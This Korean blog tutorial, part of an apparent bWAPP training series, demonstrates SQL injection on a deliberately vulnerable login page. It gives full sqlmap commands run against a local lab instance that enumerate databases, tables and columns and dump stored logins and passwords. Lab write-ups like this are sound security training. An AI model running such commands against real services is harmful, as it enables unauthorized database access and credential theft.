이 도구를 이용하여 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위 입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다.
A1 - SQL Injection (Login Form/User)
SQL Injection은 사용자가 입력한 값을 서버에서 검증하지 않고 데이터베이스 쿼리 일부분으로 인식하여 데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점 입니다. SQL Injection은 사용자가 데이터를 입력할 수 있는 곳 어디에서든 발생할 수 있습니다.
BWAPP(비박스) SQL Injection (Login Formuser) 취약점 진단 페이지의 화면 입니다. 해당 페이지에서도 작은따옴표(')를 이용하여 취약점이 있는지 확인을 해보도록 하겠습니다.
작은따옴표를 입력하였더니 SQL 오류 메시지를 출력하는것을 확인할수 있습니다. 그럼 이제 쿼리문을 직접 입력하여 보도록 하겠습니다.
쿼리문을 입력하여도, 로그인 실패 메시지가 계속 나오는것을 알수 있습니다. 앞에서 살펴본 SQL Injection (Login Form/Hero)과는 다르게 한줄의 SQL 구문을 입력 받지 않는다는 것을 알수 있으며, 해당 소스코드를 살펴보도록 하겠습니다.
소스코드를 확인해 보시면 login & password가 일치할경우 메시지를 출력하도록 설정되어 있습니다. 또한 해당 페이지는 POST 메소드를 사용하기 때문에 버프스위트를 이용하여 파라미터를 확인하고 SQLMap을 이용하여 진단을 해보도록 하겠습니다.
버프스위트를 이용하여 쿠키값 및 로그인 폼입력 값을 확인하였습니다.
DB 정보 확인
sqlmap.py -u "http://127.0.0.1/bWAPP/sqli_16.php" --cookie="security_level=0; PHPSESSID=78a7vftr08e64mh28dsrjhqro6" --data "login=test&password=test&form=submit" --dbs
SQLMap을 이용하여 DB 정보를 확인하였습니다. 테스트하시는 분들은 해당결과 값이 저와 다르게 나올수 있으며, bwapp 테이블이 존재하는지 확인을 하시면 되겠습니다.
DB 테이블 정보 확인sqlmap.py -u "http://127.0.0.1/bWAPP/sqli
_16.php" --cookie="security_level=0; PHPSESSID=78a7vftr08e64mh28dsrjhqro6" --data "login=test&password=test&form=submit" -D bwapp --tables
DB 테이블의 컬럼 정보 확인
sqlmap.py -u "http://127.0.0.1/bWAPP/sqli
_16.php" --cookie="security_level=0; PHPSESSID=78a7vftr08e64mh28dsrjhqro6" --data "login=test&password=test&form=submit" -D bwapp -T users --columns
DB 컬럼의 상세 정보 출력
sqlmap.py -u "http://127.0.0.1/bWAPP/sqli
_16.php" --cookie="security_level=0; PHPSESSID=78a7vftr08e64mh28dsrjhqro6" --data "login=test&password=test&form=submit" -D bwapp -T users -C login,pa
ssword --dump
로그인 시도
SQLMap 사용법 및 정보등은 앞에서 계속 살펴보았기 때문에 상세내용 설명은 하지 않았습니다. 테스트 하시는 분들은 테이블정보, 컬럼정보 등을 바꿔가면서 테스트를 직접 해보시기 바랍니다.
'Code::Security > 비박스(BWAPP)' 카테고리의 다른 글
비박스(bWAPP) SQL Injection - Stored (Blog) (0) | 2019.11.27 |
---|---|
비박스(bWAPP) SQL Injection (SQLite) (0) | 2019.11.15 |
비박스(bWAPP) SQL Injection (Login Form/Hero) (0) | 2019.10.24 |
비박스(bWAPP) SQL Injection (AJAX/JSON/jQeury) (0) | 2019.08.30 |
비박스(bWAPP) SQL Injection (GET/Select, POST/Select) (0) | 2019.07.16 |